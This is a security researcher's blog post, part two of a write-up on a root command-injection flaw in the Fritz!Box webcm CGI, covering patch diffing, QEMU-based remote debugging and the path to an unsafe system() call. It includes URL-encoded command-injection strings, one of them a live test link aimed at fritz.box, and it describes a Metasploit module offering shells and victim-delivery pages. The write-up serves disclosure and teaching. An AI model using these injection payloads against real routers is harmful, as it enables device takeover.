Posted on So 06 April 2014

AVM Fritz!Box root RCE: From Patch to Metasploit Module - II

In the first part of this write-up, we unpacked the firmwares, looked for interesting differences, found a vulnerability and validated it's presence with a PoC-POST-Request. If you haven't reddit yet, I suggest you to do so to better understand what we are doing here.

Table of Contents

Static Analysis

Unfortunately/Fortunately, the last bug we found can only be exploited if you include a valid session id into the request - not exactly brilliant. But during binary-diffing of the firmware, we found another RE-candidate - webcm to call it by name. So, let's fire up IDA Pro, load the old version, patchdiff2 it and see, what we get:

Overviews of matched, unmatched and identical functions

This looks pretty similiar and promising: a lot of identical functions, no import of system anymore, but imported functions for Inter-process-communication, that were also used to patch the first vulnerability. Let's again take a look at the matched, but not-identical function to find the juicy part:

Control Flow Graph of sub_4028B8 & sub_402908

Okay, whatever this is, it's slighty more complicated than the function we've seen before, that was only responsible for updating /var/temp_lang and informing ctlmgr.

First, let's see, if it's worthwhile to look at it in more detail:

Added strlen-check

Again, an additional strlen(something) <= 3 check

Every char between a and z?

and the same "something" is checked byte by byte, if it's less than 0x1A after a subtraction of 0x61. In case you don't speak ascii:

>>> for i in range(0x61, 0x61+0x1A):
...     print chr(i),
... 
a b c d e f g h i j k l m n o p q r s t u v w x y z

These are again pretty much the same checks as for the language parameter seen in part 1. And finally, the vulnerable code block:

system() -> avmipc

Oh, déjà vu! Let's put that function in a context to get a grasp of it's actual function and to extract the path to the the unsafe system()-call:

X-Refs to the changed function

And here, the pretty straightforward parse_cgivars-function is called during _ftext:

_ftext Control-Flow-Graph Overview

So, this time we won't be able to conveniently "switch" to Lua code.
To be more pecise:
A Server Side Includes (SSI) Interpreter by Texas Instrument is created by a call to TI_Interpreter_Create (from libtiinterpreter.so) in the main function (_ftext), whose variables are filled (TI_Interpreter_SetVariable) during all this cgi-parsing-stuff and which is finally run and destroyed previous to _ftext's function epilogue.

Backtracking the path to the unsafe code shouldn't be that hard, right?
Well, even though it's pretty easy to reach the changedFunc (at 0x4028B8), it's at least not trivial to understand the control flow inside this function.
There is a pretty big if() {...} else if() {...} else if() {...} ... respectively switch-case-statement right in the middle of the function, that string-compares one parameter to another function parameter and to a series of memory locations, that are referenced by different registers.

switch(param1) { case foo: case bar: }

Second part of the costruct

Since the first "comparee" is set in parse_cgivars ("soapdata") and you can find the other interesting register values in the next screenshot (can you spot 'em?), this big chunk of code is rather comprehensible.

However, we are presented with something much smaller and more tricky right in the beginning:

Please tell me the basis of decisionmaking right away ;)

The function takes two completely different paths, depending on the initial value of 0x5620($s7) => 0x415620. Furthermore, it's possible to reach this decision again after taking the left path - but what is stored at 0x415620 at this point?

Content of 0x00415620

Static Analysis is cool and all, but some runtime information would make our life so much easier - but wait, that's in fact possible. No, I won't install gdb on my Fritz!Box; and we don't even need the actual device!
I want to show you, how to dynamically analyze ("debug") embedded systems without the necessity of possessing them by taking advantage of qemu's gdb integration and IDA Pro's remote debugging features! :)

Dynamic Analysis - Remote Debugging

I hope, you enjoy ascii-graphics as much as I do:

        +––––––––––––––––––––––––––––––––––––––––––––––––––––––––+
        |                                                        |
        |  Linux                                                 |
        |                                                        |
        |                                                        |
        |    +––––––––––––––––––––––––––––––––––––––––––+        |
        |    |                                          |        |
        |    | Virtual Box                              |        |
        |    |                                          |        |
        |    |    +–––––––––––––––––––––––––––––––––––––+        |
        |    |    | Windows                             |        |
        |    |    |                                     |        |
        |    |    |      +––––––––––––––––––––––––––––––+        |
        |    |    |      |                              |        |
        |    |    |      |  IDA Pro                     |        |
        |    |    |      |                              |        |
        |    |    |      |                              |        |
        |    +––––+––––––+–––––––––––––––––––––––––+––––+        |
        |                                          |             |
        |                                          |             |
        |                                          |             |
        |    +––––––––––––––––––––––––––––––––––––––––––+        |
        |    |                                    \|/   |        |
        |    | chroot in firmware-filesystem-/  +––+––+ |        |
        |    |                                  |12345| |        |
        |    |    +–––––––––––––––––––––––––––––+––+––+–+        |
        |    |    |                                |    |        |
        |    |    | qemu-mipsel -g 12345 webcm     |    |        |
        |    |    |                               \|/   |        |
        |    |    |   +––––––––––––––––––––––––––––+––––+        |
        |    |    |   |                                 |        |
        |    |    |   | webcm-binary                    |        |
        |    |    |   |                                 |        |
        |    |    |   |                                 |        |
        |    |    |   |                                 |        |
        |    |    |   |                                 |        |
        |    |    |   |                                 |        |
        |    |    |   |                                 |        |
        |    |    |   |                                 |        |
        |    +––––+–––+–––––––––––––––––––––––––––––––––+        |
        |                                                        |
        +––––––––––––––––––––––––––––––––––––––––––––––––––––––––+

Before you instantly grab the latest pre-built QEMU-version (the "generic and open source machine emulator and virtualizer" we'll be using) from your distro's repository, you should keep in mind, that our MIPS binaries are dynamically linked to MIPS libraries. Since we want to prevent mixing the target's libraries with those on our host system, we have to run QEMU in a chrooted environment. However, this makes our host's libraries inaccessible to QEMU itself, thus requires QEMU to be statically linked. You could either search for static builds of QEMU in your distro's repository or build it from source (that's what I will do here).

To ease your building process, here is a list of dependencies I had to install manually:

fabian@7a69:~$ sudo apt-get install zlib1g-dev libglib2.0 autoconf libtool libsdl-console libsdl-console-dev

Download and extract the sources and build your statically linked version of QEMU:

fabian@7a69:~/qemu$ ./configure --static && make && sudo make install

[This will take quite long. If you want to speed up the building process and limit the qemu installation to only support mips, you can specify this with the --target-list=-parameter.]

So, let's test the installation. Copy the corresponding QEMU binary into the extracted filesystem-directory and run an example binary. The file-command in part I told us, that we are dealing with "MSB" and therefore Big Endianess.

fabian@7a69:~/blog/Projekte/Fritz!Box/unpatched/original/filesystem$ cp $(which qemu-mips) .
fabian@7a69:~/blog/Projekte/Fritz!Box/unpatched/original/filesystem$ sudo chroot . ./qemu-mips ./bin/busybox 
qemu: uncaught target signal 4 (Illegal instruction) - core dumped

Damnit, let's try another the other Big-Endian-MIPS-QEMU-Executable:

fabian@7a69:~/blog/Projekte/Fritz!Box/unpatched/original/filesystem$ sudo chroot . ./qemu-mipsn32 ./bin/busybox 
qemu: Unsupported syscall: 4090
qemu: Unsupported syscall: 4090
qemu: Unsupported syscall: 4004
qemu: Unsupported syscall: 4001
qemu: uncaught target signal 11 (Segmentation fault) - core dumped

This doesn't look good, either. A quick search reveals, that the FRITZ!Box Fon WLAN 7360 runs on a VR9-SoC (aka VRX288, PSB80920, PSB80920EL or PSB80920EL V1.1) that contains a 32-bit MIPS 34Kc CPU with 500MHz. However, it seems, that qemu doesn't support this cpu at the moment.

fabian@7a69:~/blog/Projekte/Fritz!Box/unpatched/original/filesystem$ ./qemu-mips -cpu help
MIPS '4Kc'
MIPS '4Km'
MIPS '4KEcR1'
MIPS '4KEmR1'
MIPS '4KEc'
MIPS '4KEm'
MIPS '24Kc'
MIPS '24Kf'
MIPS '34Kf'
MIPS '74Kf'
fabian@7a69:~/blog/Projekte/Fritz!Box/unpatched/original/filesystem$ ./qemu-mipsn32 -cpu help
MIPS '4Kc'
MIPS '4Km'
MIPS '4KEcR1'
MIPS '4KEmR1'
MIPS '4KEc'
MIPS '4KEm'
MIPS '24Kc'
MIPS '24Kf'
MIPS '34Kf'
MIPS '74Kf'
MIPS 'R4000'
MIPS 'VR5432'
MIPS '5Kc'
MIPS '5Kf'
MIPS '20Kc'
MIPS 'MIPS64R2-generic'
MIPS 'Loongson-2E'
MIPS 'Loongson-2F'
MIPS 'mips64dspr2'

Since we (respectively I) don't have access to another unpatched firmware version for a device with a supported cpu and I really want to analyze the binaries dynamically, we must find a workaround. Although, it's not absolutely necessary in this case, a working debugging environment will come in handy during future investigations. Furthermore, the setup is pretty dope imho, so I wanted to document the required steps.
We are already aware of the added security checks and we know from part 1, that can run arbitrary commands as early as the system()-call is reached. This allows us to simply grab a fixed firmware for a supported device from the FTP server and circumvent the checks on the fly.

fabian@7a69:~/fritz.box/7240_5_54/original/filesystem$ sudo chroot . ./qemu-mipsel ./bin/busybox 
BusyBox v1.19.3 (2012-05-21 13:40:41 CEST) multi-call binary.
Copyright (C) 1998-2011 Erik Andersen, Rob Landley, Denys Vlasenko
and others. Licensed under GPLv2.
See source distribution for full notice.

Usage: busybox [function] [arguments]...
   or: busybox --list[-full]
   or: function [arguments]...

    BusyBox is a multi-call binary that combines many common Unix
    utilities into a single executable.  Most people will create a
    link to busybox for each function they wish to use and BusyBox
    will act like whatever it was invoked as.

Currently defined functions:
    [, [[, arp, arping, ash, basename, brctl, bunzip2, bzcat, bzip2, cat,
    chgrp, chmod, chown, chroot, cmp, cp, cut, date, dd, df, dirname,
    dmesg, dnsdomainname, du, echo, egrep, env, ether-wake, expr, false,
    fgconsole, fgrep, find, flock, free, ftpget, ftpput, getopt, grep,
    groups, gunzip, gzip, halt, hostname, id, ifconfig, ifdown, ifup,
    inetd, init, insmod, iostat, ip, ipaddr, iplink, iproute, iprule,
    iptunnel, kill, killall, killall5, ln, login, logname, ls, lsmod,
    md5sum, mkdir, mkfifo, mknod, mkswap, modprobe, more, mount, mpstat,
    mv, nbd-client, nc, netstat, nice, nohup, nslookup, passwd, pidof,
    ping, ping6, pivot_root, pmap, poweroff, printenv, printf, ps, pstree,
    pwd, pwdx, readlink, realpath, reboot, renice, reset, rm, rmdir, rmmod,
    route, sed, seq, setconsole, setserial, sh, sleep, smemcap, sort, stat,
    stty, swapoff, swapon, switch_root, sync, sysctl, tail, tar, tee,
    telnetd, test, tftp, time, top, touch, tr, traceroute, true, tty,
    ubimkvol, ubirmvol, ubirsvol, ubiupdatevol, umount, uname, uniq, unxz,
    unzip, uptime, vi, wc, wget, whois, xargs, xz, xzcat, zcat

Well, this looks promising.
The webcm-binary uses the Common Gateway Interface and therefore should take the request parameters as environment variables (and stdin). A quick look at the referenced strings confirms this.
Of special interest are the REQUEST_METHOD and QUERY_STRING environment variables.

fabian@7a69:~/fritz.box/7240_5_54/original/filesystem$ ./qemu-mipsel 
usage: qemu-mipsel [options] program [arguments...]
Linux CPU emulator (compiled for mipsel emulation)

Options and associated environment variables:

Argument      Env-variable      Description
-h                              print this help
-g port       QEMU_GDB          wait gdb connection to 'port'
[...]
-E var=value  QEMU_SET_ENV      sets targets environment variable (see below)
[...]

We can conveniently set them with the -E-parameter. Moreover, the help shows us another neat feature of QEMU. We can start a gdb remote stub on a given port with the -g option. Later, this will allow us to attach IDA Pro to the process.

So, let's write a simple script to start everything with the correct parameters:

#!/bin/bash

PORT="12345"
INPUT="$1"

if  [ "$UID" != "0" ] || [ "$INPUT" == "" ] || [ "$INPUT" == "-h" ]
then
    echo -e "\nUsage: sudo $0 \n"
    exit 1
fi

cp $(which qemu-mipsel) ./qemu-mipsel
chroot . ./qemu-mipsel -E REMOTE_ADDR="127.0.0.1" -E QUERY_STRING="$INPUT" -E REQUEST_METHOD="GET" -g $PORT ./usr/www/cgi-bin/webcm
rm -f ./qemu-mipsel

Let's start the script with example-parameters (e.g. sudo ./run.sh "foo=bar") and load the same binary into IDA. QEMU will pause execution until we attach a debugger. For this purpose, we need to configure IDA to connect to the remote GDB server. Go to Debugger -> Process options and fill in the IP address of the machine where you ran Qemu, together with the correct port number.

Configure IDA to connect to the GDB server

We will set a break point (F2) at the beginning of _ftext, start the debugger (F9), ignore the warning and step through the binary (F4/F7/F8).
You will notice, that - without interception - it would just output

Content-type: text/html

Internal socket error.

because cgi_comm_init fails due to our emulated environment. Therefore, set a breakpoint at

la      $t9, unk_76728B6C
jalr    $t9 ; cgi_comm_init
la      $a0, aWebcm
beqz    $v0, loc_40196C ; <-- bp here (.text:00401920)

and increment v0 (Rightclick or press + on the numblock) once reached.
We finally end up at

.text:00401A38 bal parse_cgivars,

take the short path ("soapdata" is not keyvalue_found) and land in our changed_Func.

Following resembles the situation, when the first if-else" is hit:

If-Else hit

Unfortunately, the binary does not go straight to the system call, but takes the left path to the big switch-case statement.

However, it seems, that we can't influence this, so let's see, what happens next.

Switch Case - I

Our variable name ("foo") is subsequently compared to a few strings

Comparison with "var:"

until we finally reach

.text:00402BF0 la      $a1, aVar        # "var:"
.text:00402BF8 jalr    $t9              # safe_strncmp
.text:00402BFC li      $a2, 4
.text:00402C00 bnez    $v0, loc_402CF0

which checks, if the first 4 bytes of our parameter name is equal to var:. If it's not, we won't come far. So either change it to "var:foo" on the fly or restart the process and attach IDA again.

Our parameter name is then compared to "var:lang", which of course fails.

Comparison to "var:lang"

Nevertheless, the function NameWithoutVarPrefix is called, returns "var:foo"[4:] == "foo" (supposing that the string really starts with "var:") and _TI_Interpreter_SetVariable("foo", "bar") is called. (A quick reminder: TI_Interpreter is the SSI-Interpreter from Texas Instruments)

We reach the decision in the beginning again and fortunately, this time 0(0x4159F0) in the .bss-section is set to zero, so we take the other path.
(An exception will be thrown while the application tries to open "/var/temp_lang" in our chroot, so change the permissions of this file accordingly.)

The file /var/temp_lang will be unlinked/deleted and the 127 byte big buffer used for the system-call (in the unpatched version) is filled by making use of the original content of the file:

Buffer filled with original value

Damnit! However, you still remember the comparison to "var:lang", that failed? Let's make it succeed and see, what happens. (Note the properly URL-encoded QUERY_STRING)

fabian@7a69:~/fritz.box/7240_5_54/original/filesystem$ sudo ./run.sh "var%3Alang%3Dbar%3B%20.%2Fexecute%20something%20vicious"

This time, we reach the added security checks, but can easily circumvent them on the fly (breakpoints at 0x00402C4C and 0x00402C70 to redirect the conditional jumps):

Modify register values to redirect the conditional jumps

This time, we will reach again the NameWithoutVarPrefix chunk, however, before this, the var_lang_set-flag is set:

var_lang_set = 1

As previously seen, the function now passes through the the other path. Here, the content of /var/temp_lang is compared to the newly entered value (first by a strlen-comparison and in case of equality by strcmp) and since we did not enter an empty string, the new language-setting is stored in this file. After that - you may already know - the ctlmgr is notified of this event by the usual unsafe snprintf - system() combination! Yiiiiihu, finally!

Please excuse my choice of words, but we have finally found a easy and cool way to compromise the router with a simple GET-Request: Pwned! :)
But only if the router runs on an unpatched firmware.
In the firmware revision, the arguments are split into an array and the unsafe system("msgsend ctlmgr temp_lang_changed USER_INPUT)-call is replaced by the safe execvp("ctlmgr", ["ctlmgr", "temp_lang_changed", "USER_INPUT"]) equivalent (which executes the binary itself and does not spawn a shell, hence eliminates this attack vector) - there is no additional Inter-process communication implementation on this device, however.

The Exploit

With this in mind, it's rather easy to tinker a Metasploit module, since we don't have to mess with different offsets on different devices, memory layout, etc.
The Requirements:

  • It should give direct access to metasploit's payload armory (e.g. rerverse_shell and bind_shell access)
  • It should allow custom commands
  • It should allow us to compromise the router directly (in the case we are already connected to the network)
  • It should support generation of HTML, that contains the malicious GET-Request and is directly hosted on a web-server, so we can simply send this link to the victim

There is a great blog post from exactly one year ago on the metasploit blog, that introduces the possibility to craft MIPS executables and shows an example on how to serve it to the router.
I made use of this, customized it where needed and came up with this PoC-Module.
A much cleaner version (even though it's not as feature-rich), written mostly by m-1-k-3, is already merged into Metasploit's master branch and is available at exploit/linux/http/fritzbox_echo_exec. You can see them in action at the end of this article.
(Note, that I won't go into detail about this topic, since I want so save it up for a more interesting case)

In case, you don't have Metasploit installed/don't want to boot into Kali to quickly test your router, here is a "testpage". If you click on this link, you agree, that I may execute an echo-command on your router with all it's possible side effects:

http://fritz.box/cgi-bin/webcm?var:lang=%3Becho%20-e%20%22Content-Type%3A%20text%2Fhtml%5Cn%5Cn%3Cb%3EATTENTION!!%20UPDATE%20THIS%20SHIT%20IMMEDIATELY!!%3C%2Fb%3E%3C!--%20%22

Please change "fritz.box" to your device's IP-address in case you're using a strange setup and wait a few seconds for a possible result.

Since the command's output is again sent back in the HTTP response header, you will see following warning in case of exposure to this vulnerability:

Warning in case you are affected. Please follow the instructions.

And the full repsonse (intercepted via Burp Suite):

Full Response

Conclusion

Firstly, if you haven't updated your Fritz!Box yet, because you are not using the remote administration anyway and "never change a running system", you should be finally convinced now. ;)

I hope, I could give you an understanding on some reverse engineering techniques (particularly (dynamic) analysis of embedded devices), Fritz!Box internals and especially on this vulnerability (fight the FUD!).

Although this write-up was rather extensive, we've seen how easy it is to spot the interesting fixes and backtrack the path. Again, we've recognized the importance of updating all devices in the household. Embedded devices in general and routers in particular are an interesting target for both security researches and criminals, since they are often

  • unpatched (if a patch exists at all)
  • as full of holes as Gruyere
  • accessible from the internet
  • and very powerful (DNS-Settings, DSL-Credentials, Port Forwarding).

Furthermore, if you are still here, I want to thank you for taking the time to read through all of this. I know, this took quite a while to go through, however, it took even longer to write, trust me. ;)
I would also like to hear some feedback, corrections or comments either in the comments-section, via mail or on /r/netsec.

Cheers!



Acknowledgements



Last but not least, here are some further impressions of this project - it may not have ended yet. ;)

Metasploit Module - cmd/unix/generic

Library search Path on developers machine

Sigsev (insufficient permissions)

Test Page Request Query

The Metasploit Module you can find in your Metasploit installation

I'll take one, please!

© 7a69. Built using Pelican. Original theme by Giulio Fidente on gitub, modified by 7a69.